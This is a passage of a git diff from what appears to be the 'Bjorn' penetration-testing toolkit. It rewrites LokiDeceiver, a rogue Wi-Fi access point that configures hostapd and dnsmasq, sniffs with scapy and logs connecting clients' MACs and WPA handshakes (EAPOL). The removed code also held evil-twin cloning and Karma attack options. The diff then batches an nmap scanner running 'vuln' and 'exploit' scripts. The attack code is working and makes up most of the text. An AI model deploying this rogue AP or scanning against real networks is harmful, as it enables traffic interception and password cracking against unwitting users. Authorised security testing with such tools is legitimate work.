"Wireless Interface", + "default": "wlan0" + }, + "ssid": { + "type": "text", + "label": "AP SSID", + "default": "Bjorn_Free_WiFi" + }, + "channel": { + "type": "number", + "label": "Channel", + "min": 1, + "max": 14, + "default": 6 + }, + "password": { + "type": "text", + "label": "WPA2 Password (Optional)", + "default": "" + } +} class LokiDeceiver: - def __init__(self, interface, ssid, channel=6, password=None, output_dir=DEFAULT_OUTPUT_DIR): - self.interface = interface - self.ssid = ssid - self.channel = channel - self.password = password - self.output_dir = output_dir - - self.original_mac = None - self.captured_handshakes = [] - self.captured_credentials = [] - self.active = False + def __init__(self, shared_data): + self.shared_data = shared_data + self.hostapd_proc = None + self.dnsmasq_proc = None + self.tcpdump_proc = None + self._sniffer = None + self.active_clients = set() + self.stop_event = threading.Event() self.lock = threading.Lock() - def setup_interface(self): - """Configure wireless interface for AP mode.""" - try: - # Kill potentially interfering processes - subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - # Stop NetworkManager - subprocess.run(['sudo', 'systemctl', 'stop', 'NetworkManager'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - # Save original MAC - self.original_mac = self.get_interface_mac() - - # Enable monitor mode - subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - subprocess.run(['sudo', 'iw', self.interface, 'set', 'monitor', 'none'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - logging.info(f"Interface {self.interface} configured in monitor mode") - return True - - except Exception as e: - logging.error(f"Failed to setup interface: {e}") - return False + def _setup_monitor_mode(self, iface: str): + logger.info(f"LokiDeceiver: Setting {iface} to monitor mode...") + subprocess.run(['sudo', 'airmon-ng', 'check', 'kill'], capture_output=True) + subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'down'], capture_output=True) + subprocess.run(['sudo', 'iw', iface, 'set', 'type', 'monitor'], capture_output=True) + subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True) - def get_interface_mac(self): - """Get the MAC address of the wireless interface.""" - try: - result = subprocess.run(['ip', 'link', 'show', self.interface], - stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) - if result.returncode == 0: - mac = re.search(r'link/ether ([0-9a-f:]{17})', result.stdout) - if mac: - return mac.group(1) - except Exception as e: - logging.error(f"Failed to get interface MAC: {e}") - return None + def _create_configs(self, iface, ssid, channel, password): + # hostapd.conf + h_conf = [ + f'interface={iface}', + 'driver=nl80211', + f'ssid={ssid}', + 'hw_mode=g', + f'channel={channel}', + 'macaddr_acl=0', + 'ignore_broadcast_ssid=0' + ] + if password: + h_conf.extend([ + 'auth_algs=1', + 'wpa=2', + f'wpa_passphrase={password}', + 'wpa_key_mgmt=WPA-PSK', + 'wpa_pairwise=CCMP', + 'rsn_pairwise=CCMP' + ]) + + h_path = '/tmp/bjorn_hostapd.conf' + with open(h_path, 'w') as f: + f.write('\n'.join(h_conf)) - def create_ap_config(self): - """Create configuration for hostapd.""" - try: - config = [ - 'interface=' + self.interface, - 'driver=nl80211', - 'ssid=' + self.ssid, - 'hw_mode=g', - 'channel=' + str(self.channel), - 'macaddr_acl=0', - 'ignore_broadcast_ssid=0' - ] - - if self.password: - config.extend([ - 'auth_algs=1', - 'wpa=2', - 'wpa_passphrase=' + self.password, - 'wpa_key_mgmt=WPA-PSK', - 'wpa_pairwise=CCMP', - 'rsn_pairwise=CCMP' - ]) - - config_path = '/tmp/hostapd.conf' - with open(config_path, 'w') as f: - f.write('\n'.join(config)) - - return config_path - - except Exception as e: - logging.error(f"Failed to create AP config: {e}") - return None + # dnsmasq.conf + d_conf = [ + f'interface={iface}', + 'dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h', + 'dhcp-option=3,192.168.1.1', + 'dhcp-option=6,192.168.1.1', + 'server=8.8.8.8', + 'log-queries', + 'log-dhcp' + ] + d_path = '/tmp/bjorn_dnsmasq.conf' + with open(d_path, 'w') as f: + f.write('\n'.join(d_conf)) + + return h_path, d_path - def setup_dhcp(self): - """Configure DHCP server using dnsmasq.""" - try: - config = [ - 'interface=' + self.interface, - 'dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h', - 'dhcp-option=3,192.168.1.1', - 'dhcp-option=6,192.168.1.1', - 'server=8.8.8.8', - 'log-queries', - 'log-dhcp' - ] - - config_path = '/tmp/dnsmasq.conf' - with open(config_path, 'w') as f: - f.write('\n'.join(config)) - - # Configure interface IP - subprocess.run(['sudo', 'ifconfig', self.interface, '192.168.1.1', 'netmask', '255.255.255.0'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - return config_path - - except Exception as e: - logging.error(f"Failed to setup DHCP: {e}") - return None - - def start_ap(self): - """Start the fake access point.""" - try: - if not self.setup_interface(): - return False - - hostapd_config = self.create_ap_config() - dhcp_config = self.setup_dhcp() - - if not hostapd_config or not dhcp_config: - return False - - # Start hostapd - self.hostapd_process = subprocess.Popen( - ['sudo', 'hostapd', hostapd_config], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE - ) - - # Start dnsmasq - self.dnsmasq_process = subprocess.Popen( - ['sudo', 'dnsmasq', '-C', dhcp_config], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE - ) - - self.active = True - logging.info(f"Access point {self.ssid} started on channel {self.channel}") - - # Start packet capture - self.start_capture() - - return True - - except Exception as e: - logging.error(f"Failed to start AP: {e}") - return False - - def start_capture(self): - """Start capturing wireless traffic.""" - try: - # Start tcpdump for capturing handshakes - handshake_path = os.path.join(self.output_dir, 'handshakes') - os.makedirs(handshake_path, exist_ok=True) - - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - pcap_file = os.path.join(handshake_path, f"capture_{timestamp}.pcap") - - self.tcpdump_process = subprocess.Popen( - ['sudo', 'tcpdump', '-i', self.interface, '-w', pcap_file], - stdout=subprocess.PIPE, - stderr=subprocess.PIPE - ) - - # Start sniffing in a separate thread - self.sniffer_thread = threading.Thread(target=self.packet_sniffer) - self.sniffer_thread.start() - - except Exception as e: - logging.error(f"Failed to start capture: {e}") - - def packet_sniffer(self): - """Sniff and process packets.""" - try: - scapy.sniff(iface=self.interface, prn=self.process_packet, store=0, - stop_filter=lambda p: not self.active) - except Exception as e: - logging.error(f"Sniffer error: {e}") - - def process_packet(self, packet): - """Process captured packets.""" - try: - if packet.haslayer(Dot11): - # Process authentication attempts - if packet.type == 0 and packet.subtype == 11: # Authentication - self.process_auth(packet) - - # Process association requests - elif packet.type == 0 and packet.subtype == 0: # Association request - self.process_assoc(packet) - - # Process EAPOL packets for handshakes - elif packet.haslayer(EAPOL): - self.process_handshake(packet) - - except Exception as e: - logging.error(f"Error processing packet: {e}") - - def process_auth(self, packet): - """Process authentication packets.""" - try: - if packet.addr2: # Source MAC - with self.lock: - self.captured_credentials.append({ - 'type': 'auth', - 'mac': packet.addr2, - 'timestamp': datetime.now().isoformat() - }) - except Exception as e: - logging.error(f"Error processing auth packet: {e}") - - def process_assoc(self, packet): - """Process association packets.""" - try: - if packet.addr2: # Source MAC - with self.lock: - self.captured_credentials.append({ - 'type': 'assoc', - 'mac': packet.addr2, - 'timestamp': datetime.now().isoformat() - }) - except Exception as e: - logging.error(f"Error processing assoc packet: {e}") - - def process_handshake(self, packet): - """Process EAPOL packets for handshakes.""" - try: - if packet.addr2: # Source MAC - with self.lock: - self.captured_handshakes.append({ - 'mac': packet.addr2, - 'timestamp': datetime.now().isoformat() - }) - except Exception as e: - logging.error(f"Error processing handshake packet: {e}") - - def save_results(self): - """Save captured data to JSON files.""" - try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - - results = { - 'ap_info': { - 'ssid': self.ssid, - 'channel': self.channel, - 'interface': self.interface - }, - 'credentials': self.captured_credentials, - 'handshakes': self.captured_handshakes - } - - output_file = os.path.join(self.output_dir, f"results_{timestamp}.json") - with open(output_file, 'w') as f: - json.dump(results, f, indent=4) - - logging.info(f"Results saved to {output_file}") - - except Exception as e: - logging.error(f"Failed to save results: {e}") - - def cleanup(self): - """Clean up resources and restore interface.""" - try: - self.active = False - - # Stop processes - for process in [self.hostapd_process, self.dnsmasq_process, self.tcpdump_process]: - if process: - process.terminate() - process.wait() - - # Restore interface - if self.original_mac: - subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'down'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - subprocess.run(['sudo', 'iw', self.interface, 'set', 'type', 'managed'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - subprocess.run(['sudo', 'ip', 'link', 'set', self.interface, 'up'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - # Restart NetworkManager - subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], - stdout=subprocess.PIPE, stderr=subprocess.PIPE) - - logging.info("Cleanup completed") - - except Exception as e: - logging.error(f"Error during cleanup: {e}") - -def save_settings(interface, ssid, channel, password, output_dir): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "interface": interface, - "ssid": ssid, - "channel": channel, - "password": password, - "output_dir": output_dir - } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") - -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): - try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) - except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} - -def main(): - parser = argparse.ArgumentParser(description="WiFi deception tool") - parser.add_argument("-i", "--interface", default="wlan0", help="Wireless interface") - parser.add_argument("-s", "--ssid", help="SSID for fake AP") - parser.add_argument("-c", "--channel", type=int, default=6, help="WiFi channel") - parser.add_argument("-p", "--password", help="WPA2 password") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") - - # Honeypot options - parser.add_argument("--captive-portal", action="store_true", help="Enable captive portal") - parser.add_argument("--clone-ap", help="SSID to clone and impersonate") - parser.add_argument("--karma", action="store_true", help="Enable Karma attack mode") - - # Advanced options - parser.add_argument("--beacon-interval", type=int, default=100, help="Beacon interval in ms") - parser.add_argument("--max-clients", type=int, default=10, help="Maximum number of clients") - parser.add_argument("--timeout", type=int, help="Runtime duration in seconds") - - args = parser.parse_args() - - settings = load_settings() - interface = args.interface or settings.get("interface") - ssid = args.ssid or settings.get("ssid") - channel = args.channel or settings.get("channel") - password = args.password or settings.get("password") - output_dir = args.output or settings.get("output_dir") - - # Load advanced settings - captive_portal = args.captive_portal or settings.get("captive_portal", False) - clone_ap = args.clone_ap or settings.get("clone_ap") - karma = args.karma or settings.get("karma", False) - beacon_interval = args.beacon_interval or settings.get("beacon_interval", 100) - max_clients = args.max_clients or settings.get("max_clients", 10) - timeout = args.timeout or settings.get("timeout") - - if not interface: - logging.error("Interface is required. Use -i or save it in settings") - return - - # Clone AP if requested - if clone_ap: - logging.info(f"Attempting to clone AP: {clone_ap}") - clone_info = scan_for_ap(interface, clone_ap) - if clone_info: - ssid = clone_info['ssid'] - channel = clone_info['channel'] - logging.info(f"Successfully cloned AP settings: {ssid} on channel {channel}") - else: - logging.error(f"Failed to find AP to clone: {clone_ap}") + def _packet_callback(self, packet): + if self.shared_data.orchestrator_should_exit: return - # Save all settings - save_settings( - interface=interface, - ssid=ssid, - channel=channel, - password=password, - output_dir=output_dir, - captive_portal=captive_portal, - clone_ap=clone_ap, - karma=karma, - beacon_interval=beacon_interval, - max_clients=max_clients, - timeout=timeout - ) - - # Create and configure deceiver - deceiver = LokiDeceiver( - interface=interface, - ssid=ssid, - channel=channel, - password=password, - output_dir=output_dir, - captive_portal=captive_portal, - karma=karma, - beacon_interval=beacon_interval, - max_clients=max_clients - ) - - try: - # Start the deception - if deceiver.start(): - logging.info(f"Access point {ssid} started on channel {channel}") + if packet.haslayer(Dot11): + addr2 = packet.addr2 # Source MAC + if addr2 and addr2 not in self.active_clients: + # Association request or Auth + if packet.type == 0 and packet.subtype in [0, 11]: + with self.lock: + self.active_clients.add(addr2) + logger.success(f"LokiDeceiver: New client detected: {addr2}") + self.shared_data.log_milestone(b_class, "ClientConnected", f"MAC: {addr2}") - if timeout: - logging.info(f"Running for {timeout} seconds") - time.sleep(timeout) - deceiver.stop() - else: - logging.info("Press Ctrl+C to stop") - while True: - time.sleep(1) - - except KeyboardInterrupt: - logging.info("Stopping Loki Deceiver...") - except Exception as e: - logging.error(f"Unexpected error: {e}") - finally: - deceiver.stop() - logging.info("Cleanup completed") + if EAPOL and packet.haslayer(EAPOL): + logger.success(f"LokiDeceiver: EAPOL packet captured from {addr2}") + self.shared_data.log_milestone(b_class, "Handshake", f"EAPOL from {addr2}") + + def execute(self, ip, port, row, status_key) -> str: + iface = getattr(self.shared_data, "loki_deceiver_interface", "wlan0") + ssid = getattr(self.shared_data, "loki_deceiver_ssid", "Bjorn_AP") + channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6)) + password = getattr(self.shared_data, "loki_deceiver_password", "") + timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600)) + output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi") + + logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}") + self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}") + + try: + self.stop_event.clear() + # self._setup_monitor_mode(iface) # Optional depending on driver + h_path, d_path = self._create_configs(iface, ssid, channel, password) + + # Set IP for interface + subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True) + + # Start processes + # Use DEVNULL to avoid blocking on unread PIPE buffers. + self.hostapd_proc = subprocess.Popen( + ['sudo', 'hostapd', h_path], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + self.dnsmasq_proc = subprocess.Popen( + ['sudo', 'dnsmasq', '-C', d_path, '-k'], + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + + # Start sniffer (must be stoppable to avoid leaking daemon threads). + if HAS_SCAPY and scapy and AsyncSniffer: + try: + self._sniffer = AsyncSniffer(iface=iface, prn=self._packet_callback, store=False) + self._sniffer.start() + except Exception as sn_e: + logger.warning(f"LokiDeceiver: sniffer start failed: {sn_e}") + self._sniffer = None + + start_time = time.time() + while time.time() - start_time < timeout: + if self.shared_data.orchestrator_should_exit: + break + + # Check if procs still alive + if self.hostapd_proc.poll() is not None: + logger.error("LokiDeceiver: hostapd crashed.") + break + + # Progress report + elapsed = int(time.time() - start_time) + prog = int((elapsed / timeout) * 100) + self.shared_data.bjorn_progress = f"{prog}%" + + if elapsed % 60 == 0: + self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}") + + time.sleep(2) + + logger.info("LokiDeceiver: Stopping AP.") + self.shared_data.log_milestone(b_class, "Shutdown", "Stopping Rogue AP") + + except Exception as e: + logger.error(f"LokiDeceiver error: {e}") + return "failed" + finally: + self.stop_event.set() + if self._sniffer is not None: + try: + self._sniffer.stop() + except Exception: + pass + self._sniffer = None + + # Cleanup + for p in [self.hostapd_proc, self.dnsmasq_proc]: + if p: + try: p.terminate(); p.wait(timeout=5) + except: pass + + # Restore NetworkManager if needed (custom logic based on usage) + # subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True) + + return "success" if __name__ == "__main__": - # Set process niceness to high priority - try: - os.nice(-10) - except: - logging.warning("Failed to set process priority. Running with default priority.") - - # Start main function - main() \ No newline at end of file + from init_shared import shared_data + loki = LokiDeceiver(shared_data) + loki.execute("0.0.0.0", None, {}, "loki_deceiver") diff --git a/actions/nmap_vuln_scanner.py b/actions/nmap_vuln_scanner.py index ffe0505..1853d33 100644 --- a/actions/nmap_vuln_scanner.py +++ b/actions/nmap_vuln_scanner.py @@ -2,13 +2,16 @@ Vulnerability Scanner Action Scanne ultra-rapidement CPE (+ CVE via vulners si dispo), avec fallback "lourd" optionnel. +Affiche une progression en % dans Bjorn. """ +import re +import time import nmap import json import logging -from typing import Dict, List, Set, Any, Optional from datetime import datetime, timedelta +from typing import Dict, List, Any from shared import SharedData from logger import Logger @@ -22,41 +25,47 @@ b_port = None b_parent = None b_action = "normal" b_service = [] -b_trigger = "on_port_change" +b_trigger = "on_port_change" b_requires = '{"action":"NetworkScanner","status":"success","scope":"global"}' b_priority = 11 -b_cooldown = 0 +b_cooldown = 0 b_enabled = 1 b_rate_limit = None +# Regex compilé une seule fois (gain CPU sur Pi Zero) +CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE) class NmapVulnScanner: - """Scanner de vulnérabilités via nmap (mode rapide CPE/CVE).""" - + """Scanner de vulnérabilités via nmap (mode rapide CPE/CVE) avec progression.""" + def __init__(self, shared_data: SharedData): self.shared_data = shared_data - self.nm = nmap.PortScanner() + # Pas de self.nm partagé : on instancie dans chaque méthode de scan + # pour éviter les corruptions d'état entre batches. logger.info("NmapVulnScanner initialized") # ---------------------------- Public API ---------------------------- # def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str: try: - logger.info(f"🔍 Starting vulnerability scan for {ip}") + logger.info(f"Starting vulnerability scan for {ip}") self.shared_data.bjorn_orch_status = "NmapVulnScanner" + self.shared_data.bjorn_progress = "0%" - # 1) metadata depuis la queue + if self.shared_data.orchestrator_should_exit: + return 'failed' + + # 1) Metadata meta = {} try: meta = json.loads(row.get('metadata') or '{}') except Exception: pass - # 2) récupérer MAC et TOUS les ports de l'hôte + # 2) Récupérer MAC et TOUS les ports mac = row.get("MAC Address") or row.get("mac_address") or "" - - # ✅ FORCER la récupération de TOUS les ports depuis la DB + ports_str = "" if mac: r = self.shared_data.db.query( @@ -64,8 +73,7 @@ class NmapVulnScanner: ) if r and r[0].get('ports'): ports_str = r[0]['ports'] - - # Fallback sur les métadonnées si besoin + if not ports_str: ports_str = ( row.get("Ports") or row.get("ports") or @@ -73,143 +81,240 @@ class NmapVulnScanner: ) if not ports_str: - logger.warning(f"⚠️ No ports to scan for {ip}") + logger.warning(f"No ports to scan for {ip}") + self.shared_data.bjorn_progress = "" return 'failed' ports = [p.strip() for p in ports_str.split(';') if p.strip()] - logger.debug(f"📋 Found {len(ports)} ports for {ip}: {ports[:5]}...") - # ✅ FIX : Ne filtrer QUE si config activée ET déjà scanné + # Nettoyage des ports (garder juste le numéro si format 80/tcp) + ports = [p.split('/')[0] for p in ports] + + self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))} + logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...") + + # 3) Filtrage "Rescan Only" if self.shared_data.config.get('vuln_rescan_on_change_only', False): if self._has_been_scanned(mac): original_count = len(ports) ports = self._filter_ports_already_scanned(mac, ports) - logger.debug(f"🔄 Filtered {original_count - len(ports)} already-scanned ports") - + logger.debug(f"Filtered {original_count - len(ports)} already-scanned ports") + if not ports: - logger.info(f"✅ No new/changed ports to scan for {ip}") + logger.info(f"No new/changed ports to scan for {ip}") + self.shared_data.bjorn_progress = "100%" return 'success' - - # Scanner (mode rapide par défaut) - logger.info(f"🚀 Starting nmap scan on {len(ports)} ports for {ip}") + + # 4) SCAN AVEC PROGRESSION + if self.shared_data.orchestrator_should_exit: + return 'failed' + + logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}") findings = self.scan_vulnerabilities(ip, ports) - - # Persistance (split CVE/CPE) + + if self.shared_data.orchestrator_should_exit: + logger.info("Scan interrupted by user") + return 'failed' + + # 5) Déduplication en mémoire avant persistance + findings = self._deduplicate_findings(findings) + + # 6) Persistance self.save_vulnerabilities(mac, ip, findings) - logger.success(f"✅ Vuln scan done on {ip}: {len(findings)} entries") + + # Finalisation UI + self.shared_data.bjorn_progress = "100%" + self.shared_data.comment_params = {"ip": ip, "vulns_found": str(len(findings))} + logger.success(f"Vuln scan done on {ip}: {len(findings)} entries") return 'success' - + except Exception as e: - logger.error(f"❌ NmapVulnScanner failed for {ip}: {e}") + logger.error(f"NmapVulnScanner failed for {ip}: {e}") + self.shared_data.bjorn_progress = "Error" return 'failed' def _has_been_scanned(self, mac: str) -> bool: - """Vérifie si l'hôte a déjà été scanné au moins une fois.""" rows = self.shared_data.db.query(""" SELECT 1 FROM action_queue - WHERE mac_address=? AND action_name='NmapVulnScanner' + WHERE mac_address=? AND action_name='NmapVulnScanner' AND status IN ('success', 'failed') LIMIT 1 """, (mac,)) return bool(rows) def _filter_ports_already_scanned(self, mac: str, ports: List[str]) -> List[str]: - """ - Retourne la liste des ports à scanner en excluant ceux déjà scannés récemment. - """ if not ports: return [] - # Ports déjà couverts par detected_software (is_active=1) rows = self.shared_data.db.query(""" SELECT port, last_seen FROM detected_software WHERE mac_address=? AND is_active=1 AND port IS NOT NULL """, (mac,)) + seen = {} for r in rows: try: - p = str(r['port']) - ls = r.get('last_seen') - seen[p] = ls + seen[str(r['port'])] = r.get('last_seen') except Exception: pass ttl = int(self.shared_data.config.get('vuln_rescan_ttl_seconds', 0) or 0) if ttl > 0: cutoff = datetime.utcnow() - timedelta(seconds=ttl) - def fresh(port: str) -> bool: - ls = seen.get(port) - if not ls: - return False - try: - dt = datetime.fromisoformat(ls.replace('Z','')) - return dt >= cutoff - except Exception: - return True - return [p for p in ports if (p not in seen) or (not fresh(p))] + final_ports = [] + for p in ports: + if p not in seen: + final_ports.append(p) + else: + try: + dt = datetime.fromisoformat(seen[p].replace('Z', '')) + if dt < cutoff: + final_ports.append(p) + except Exception: + pass + return final_ports else: - # Sans TTL: si déjà scanné/présent actif => on skip return [p for p in ports if p not in seen] - # ---------------------------- Scanning ------------------------------ # + # ---------------------------- Helpers -------------------------------- # + + def _deduplicate_findings(self, findings: List[Dict]) -> List[Dict]: + """Supprime les doublons (même port + vuln_id) pour éviter des inserts inutiles.""" + seen: set = set() + deduped = [] + for f in findings: + key = (str(f.get('port', '')), str(f.get('vuln_id', ''))) + if key not in seen: + seen.add(key) + deduped.append(f) + return deduped + + def _extract_cpe_values(self, port_info: Dict[str, Any]) -> List[str]: + cpe = port_info.get('cpe') + if not cpe: + return [] + if isinstance(cpe, str): + return [x.strip() for x in cpe.splitlines() if x.strip()] + if isinstance(cpe, (list, tuple, set)): + return [str(x).strip() for x in cpe if str(x).strip()] + return [str(cpe).strip()] + + def extract_cves(self, text: str) -> List[str]: + """Extrait les CVE via regex pré-compilé (pas de recompilation à chaque appel).""" + if not text: + return [] + return CVE_RE.findall(str(text)) + + # ---------------------------- Scanning (Batch Mode) ------------------------------ # def scan_vulnerabilities(self, ip: str, ports: List[str]) -> List[Dict]: - """Mode rapide CPE/CVE ou fallback lourd.""" - fast = bool(self.shared_data.config.get('vuln_fast', True)) + """ + Orchestre le scan en lots (batches) pour permettre la mise à jour + de la barre de progression. + """ + all_findings = [] + + fast = bool(self.shared_data.config.get('vuln_fast', True)) use_vulners = bool(self.shared_data.config.get('nse_vulners', False)) - max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20)) + max_ports = int(self.shared_data.config.get('vuln_max_ports', 10 if fast else 20)) - p_list = [str(p).split('/')[0] for p in ports if str(p).strip()] - port_list = ','.join(p_list[:max_ports]) if p_list else '' + # Pause entre batches – important sur Pi Zero pour laisser respirer le CPU + batch_pause = float(self.shared_data.config.get('vuln_batch_pause', 0.5)) - if not port_list: - logger.warning("No valid ports for scan") + # Taille de lot réduite par défaut (2 sur Pi Zero, configurable) + batch_size = int(self.shared_data.config.get('vuln_batch_size', 2)) + + target_ports = ports[:max_ports] + total = len(target_ports) + if total == 0: return [] - if fast: - return self._scan_fast_cpe_cve(ip, port_list, use_vulners) - else: - return self._scan_heavy(ip, port_list) + batches = [target_ports[i:i + batch_size] for i in range(0, total, batch_size)] + + processed_count = 0 + + for batch in batches: + if self.shared_data.orchestrator_should_exit: + break + + port_str = ','.join(batch) + + # Mise à jour UI avant le scan du lot + pct = int((processed_count / total) * 100) + self.shared_data.bjorn_progress = f"{pct}%" + self.shared_data.comment_params = { + "ip": ip, + "progress": f"{processed_count}/{total} ports", + "current_batch": port_str + } + + t0 = time.time() + + # Scan du lot (instanciation locale pour éviter la corruption d'état) + if fast: + batch_findings = self._scan_fast_cpe_cve(ip, port_str, use_vulners) + else: + batch_findings = self._scan_heavy(ip, port_str) + + elapsed = time.time() - t0 + logger.debug(f"Batch [{port_str}] scanned in {elapsed:.1f}s – {len(batch_findings)} finding(s)") + + all_findings.extend(batch_findings) + processed_count += len(batch) + + # Mise à jour post-lot + pct = int((processed_count / total) * 100) + self.shared_data.bjorn_progress = f"{pct}%" + + # Pause CPU entre batches (vital sur Pi Zero) + if batch_pause > 0 and processed_count < total: + time.sleep(batch_pause) + + return all_findings def _scan_fast_cpe_cve(self, ip: str, port_list: str, use_vulners: bool) -> List[Dict]: - """Scan rapide pour récupérer CPE et (option) CVE via vulners.""" vulns: List[Dict] = [] + nm = nmap.PortScanner() # Instance locale – pas de partage d'état - args = "-sV --version-light -T4 --max-retries 1 --host-timeout 30s --script-timeout 10s" + # --version-light au lieu de --version-all : bien plus rapide sur Pi Zero + # --min-rate/--max-rate : évite de saturer CPU et réseau + args = ( + "-sV --version-light -T4 " + "--max-retries 1 --host-timeout 60s --script-timeout 20s " + "--min-rate 50 --max-rate 100" + ) if use_vulners: args += " --script vulners --script-args mincvss=0.0" - logger.info(f"[FAST] nmap {ip} -p {port_list} ({args})") + logger.debug(f"[FAST] nmap {ip} -p {port_list}") try: - self.nm.scan(hosts=ip, ports=port_list, arguments=args) + nm.scan(hosts=ip, ports=port_list, arguments=args) except Exception as e: - logger.error(f"Fast scan failed to start: {e}") + logger.error(f"Fast batch scan failed for {ip} [{port_list}]: {e}") return vulns - if ip not in self.nm.all_hosts(): + if ip not in nm.all_hosts(): return vulns - host = self.nm[ip] - + host = nm[ip] for proto in host.all_protocols(): for port in host[proto].keys(): port_info = host[proto][port] service = port_info.get('name', '') or '' - # 1) CPE depuis -sV - cpe_values = self._extract_cpe_values(port_info) - for cpe in cpe_values: + # CPE + for cpe in self._extract_cpe_values(port_info): vulns.append({ 'port': port, 'service': service, 'vuln_id': f"CPE:{cpe}", 'script': 'service-detect', - 'details': f"CPE detected: {cpe}"[:500] + 'details': f"CPE: {cpe}" }) - # 2) CVE via script 'vulners' (si actif) - try: + # CVE via vulners + if use_vulners: script_out = (port_info.get('script') or {}).get('vulners') if script_out: for cve in self.extract_cves(script_out): @@ -218,97 +323,73 @@ class NmapVulnScanner: 'service': service, 'vuln_id': cve, 'script': 'vulners', - 'details': str(script_out)[:500] + 'details': str(script_out)[:200] }) - except Exception: - pass - return vulns def _scan_heavy(self, ip: str, port_list: str) -> List[Dict]: - """Ancienne stratégie (plus lente) avec catégorie vuln, etc.""" vulnerabilities: List[Dict] = [] + nm = nmap.PortScanner() # Instance locale + vuln_scripts = [ - 'vuln','exploit','http-vuln-*','smb-vuln-*', - 'ssl-*','ssh-*','ftp-vuln-*','mysql-vuln-*', + 'vuln', 'exploit', 'http-vuln-*', 'smb-vuln-*', + 'ssl-*', 'ssh-*', 'ftp-vuln-*', 'mysql-vuln-*', ] script_arg = ','.join(vuln_scripts) + # --min-rate/--max-rate pour ne pas saturer le Pi + args = ( + f"-sV --script={script_arg} -T3 " + "--script-timeout 30s --min-rate 50 --max-rate 100" + ) - args = f"-sV --script={script_arg} -T3 --script-timeout 20s" - logger.info(f"[HEAVY] nmap {ip} -p {port_list} ({args})") + logger.debug(f"[HEAVY] nmap {ip} -p {port_list}") try: - self.nm.scan(hosts=ip, ports=port_list, arguments=args) + nm.scan(hosts=ip, ports=port_list, arguments=args) except Exception as e: - logger.error(f"Heavy scan failed to start: {e}") + logger.error(f"Heavy batch scan failed for {ip} [{port_list}]: {e}") return vulnerabilities - if ip in self.nm.all_hosts(): - host = self.nm[ip] - discovered_ports: Set[str] = set() + if ip not in nm.all_hosts(): + return vulnerabilities - for proto in host.all_protocols(): - for port in host[proto].keys(): - discovered_ports.add(str(port)) - port_info = host[proto][port] - service = port_info.get('name', '') or '' + host = nm[ip] + discovered_ports_in_batch: set = set() - if 'script' in port_info: - for script_name, output in (port_info.get('script') or {}).items(): - for cve in self.extract_cves(str(output)): - vulnerabilities.append({ - 'port': port, - 'service': service, - 'vuln_id': cve, - 'script': script_name, - 'details': str(output)[:500] - }) + for proto in host.all_protocols(): + for port in host[proto].keys(): + discovered_ports_in_batch.add(str(port)) + port_info = host[proto][port] + service = port_info.get('name', '') or '' - if bool(self.shared_data.config.get('scan_cpe', False)): - ports_for_cpe = list(discovered_ports) if discovered_ports else port_list.split(',') - cpes = self.scan_cpe(ip, ports_for_cpe[:10]) - vulnerabilities.extend(cpes) + for script_name, output in (port_info.get('script') or {}).items(): + for cve in self.extract_cves(str(output)): + vulnerabilities.append({ + 'port': port, + 'service': service, + 'vuln_id': cve, + 'script': script_name, + 'details': str(output)[:200] + }) + + # CPE Scan optionnel (sur ce batch) + if bool(self.shared_data.config.get('scan_cpe', False)): + ports_for_cpe = list(discovered_ports_in_batch) + if ports_for_cpe: + vulnerabilities.extend(self.scan_cpe(ip, ports_for_cpe)) return vulnerabilities - # ---------------------------- Helpers -------------------------------- # - - def _extract_cpe_values(self, port_info: Dict[str, Any]) -> List[str]: - """Normalise tous les formats possibles de CPE renvoyés par python-nmap.""" - cpe = port_info.get('cpe') - if not cpe: - return [] - if isinstance(cpe, str): - parts = [x.strip() for x in cpe.splitlines() if 